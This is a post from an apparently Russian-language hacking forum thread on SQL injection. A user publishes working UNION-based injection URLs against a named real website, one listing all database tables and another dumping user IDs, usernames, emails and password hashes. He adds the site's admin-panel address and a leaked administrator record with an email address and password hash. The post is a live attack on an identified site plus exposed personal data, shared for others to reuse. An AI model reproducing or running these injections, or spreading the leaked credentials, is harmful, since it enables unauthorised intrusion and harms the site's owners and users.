SQL Инъекции

#11

19.02.2009, 16:04

Assembler

Участник форума

Регистрация: 01.09.2007

Сообщений: 203

С нами: 9838057

Репутация: 302

Код:

http://www.ttfinance.ru/news.php?id=-4346%20union%20select%20group_concat(table_name)%20from%20information_schema.t

ables--

(все таблцы, смотреть исходный код)

Код:

http://www.ttfinance.ru/news.php?id=-4346%20union%20select%20concat_ws(0x3a,ID,username,realname,email,password)%20

from%20mantis_user_table--

(Админские данные)

Код:

http://www.ttfinance.ru/admin.php

(Админка)

1:administrator::im@tt-agency.ru:074eec0da3d9dcc8e6e8df8cfe566050 (расшифровать не смог)

PR=5
ТиЦ=200

Rubaka, спс репу позже поставлю, щас не могу =)

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

Создать сделку

Мои сделки

Сделка